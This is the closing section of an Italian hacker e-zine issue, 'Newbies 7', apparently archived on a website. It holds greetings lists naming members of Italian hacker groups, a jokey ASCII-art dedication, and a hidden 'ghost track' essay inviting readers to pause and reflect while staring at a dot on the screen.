Ja[3]Ck, Zinco, Vulcan,Blum, Ron|n, Urkes, SkHammer,
Avatar666, ElectroRipper, Nietzsche, Spymaster, Rafcrash,
ZioFill, Darkman, Ramesse, Wurzel, Fusyllo, [Akuma],
Nemesis, Ghimlet, Sorrow The Prince, Meew, Fritz, Alby,
Sciaman, Game, Lopks, ©ipLey, Killex, Neural Noise,
Pusillus, Kill3xx, S2, Frensis, GCC, Alpha-666, Kalidor,
Velvet, Vaffa, ~ÑaBat½ha, Tetofuck, Pankrazio, McFly,
Sepiroth, SoftWord, Hamelin, Brusto, Anti-social, [max],
StuZzik0&|bLeaH, BlackDruiD, Z10-K41i, \JusTme\, St0rM
BriNgeR, Ennaro, Mr Skull, S_A_S_H_A, Devil_666, Carnifex,
KarmA_YogA, Pippo Calo' e a tutti quelli che ho dimentica
to {|:D

tutti gli Spippolatori ed in particolare RigoR MorteM, Master, Wurzel, Teresa
Canis, X-Hacker, Harlock, Misha, ChRoMe, ADaM, Tira,
F14m3r, Brigante, Fritz, Buttha, Azathoth, NighTiger,
AntoMar, erGoline, SirPsychoSexy, Harlock, Jamil :),
Conte Stefy Rainer, Baccoz, Hackmore, Chrome, Quequero
e i suoi due simpaticcissimi amici

tutti quelli di BFI ed in particolare \sPIRIT\, Black Berry, Blinking, Vanadio,
Cavallo, Smaster, Belfaghor, Fusys, Nelloz, vecna.
PigPen, e tutti i fratelli dell'orda.

tutti quelli di Systemdown in particolare Ragged Robin e Infected machine

tutti gli altri ed in particolare NO SPAM, Meimi, Black Baron, Fake, Zelig,
Newbie 1.0, Luna, Mayhem, Maniac666, Dr_Slump, Lupo,
Adriana, raul, A-SyNcHrO, BlackJAM, Linux, Nt Flander,
L0rdFelix, Antirez, Awgn, Li-nux, w00w00, lo Smilzo,
hola^, Lord Guf, Li-nux, Oldiron 61, Bobo, Lando e
tutti quei grandi degli Attila Hack e del Wannabe Staff,
^Acidburn, war-lock, Nyarlothe, Azim, NaiL_d0d, ]s4TsYN[,
`dize`, Napo, NikDH, Jammina e Esponential Force.

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ


|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ THIS NUMBA IS DEDICATED BY Dante Alighieri TO:³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

[La vita...xchè mi propone sempre nuove situazioni, sempre + incasinate ]
[Il suo amoruccio.....perche'...boh...te la meriti :P ]
[TheDuke... ;P ]
[\sPIRIT\...xhè cazzo fratè..ammazza quanto dormi!! ]
[I gattini trovati all'hackit (Debian, Slack, SuSE ... )...xchè erano teneri!]
[I loculi dell'hackit...xchè di posti + zozzi ce ne sono pochi ]
[I Softpj...xchè molti di voi sono umili...altri meno..ma così è la vida ]
[Smilzo...xchè m'ha soddisfatto sessualmente ]
[LOA di milano...xchè siete forti!!! ]
[MADDLER...xchè..PORKODDIO..xchè...PORKODDIO...non lo so xchè PORKODDIOOOO!!!]










































































































































































































------------------------------------------------------------------------------
[Ghost Track - Newbies 7 EOF]

Salve.
Probabilmente non arrivera' quasi nessuno a leggere fino a qui.
Probabilmente anche se qualcuno la vedesse non la leggerebbe, questa parte.
Questa volta sembra sia toccato a me dare una delle ultime revisioni a questo fantastico
numero di newbies, e mi prendo qualche piccola liberta' giusto perche' sono fatto
cosi' e mai permettero' a qualcuno di cambiarmi.
Se non vi va bene, cancellate questa sezione e salvate il file txt, cosi' non avrete
piu' di che preoccuparvi.
A chi invece fosse interessato di sentire un'ultima riflessione prima di chiudere
il computer e andare a nanna, per chi fosse cosi' malato da non avere niente di
meglio da fare o per chi mi conosce e per pieta' nei miei riguardi ha deciso di
seguirmi ancora per l'ennesima volta nella mia mente malata, per ciro, che visto
che teniamo il cervello su memoria condivisa sa sempre quello che mi passa per la
testa, e mi capisce, per te che ancora leggi (cazzo allora di fegato devi proprio
averne=). Per voi, e per tutte quelle persone che sono la fuori e che avrei voluto
portare dentro la mia vita, ma non ho mai avuto il coraggio, un'ultima piccola
riflessione per chiudere questo numero che sta per uscire (Dante, mica mi avevi
promesso che lo facevi uscire entro fine Agosto?=)
Ecco qui.
Io penso che nulla sia cosi' forte come il sentimento umano.
Percio' non faro' monologhi filosofici, discussioni etiche o trame di film.
Semplicemente, un punto.
Un punto in mezzo allo schermo, un semplice punto.
Un punto per far si che chiunque sia preso nella foga del mondo si fermi un secondo,
a fissare quel minuscolo e insignificante punto in mezzo al suo schermo.
Fissalo.
Non domani, non un'occhiata e via.
Tutto quello che ti chiedo, amico mio, e' di fermarti un attimo, un attimo solo, ma seriamente.
Quel punto indica tutta la tua vita, tutta la mia vita.
Le indica non in quanto punto, ma in quanto ti sei fermato a riflettere.
Penso che sia una delle cose che se vissute con lo spirito giusto siano bellissime.
Se ho la fortuna di conoscerti, fissa quel punto, e ripensa ai bei ricordi che abbiamo
in comune, alle stronzate che abbiamo detto e alle risate che si siamo fatti insieme,
insomma, un bel momento con cui ricordarti di me.
Se non ho questa fortuna, pensa a qualcos'altro che ti possa generare un senso di pace
e tranquillita', e sappi che le sensazioni sono di un attimo, e quindi non si possono
descrivere. Basta un altro attimo, fissando un punto in mezzo allo schermo, senza tentare
di pensare a delle parole, semplicemente lasciare fluire il sentimento dentro di noi,
attraverso di noi.
Ho anche parlato fin troppo, chiudo con un saluto a Dante, a Nobo, e a tutti voi.
E con il punto.














.












-----------------------------------------------------------------------------

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT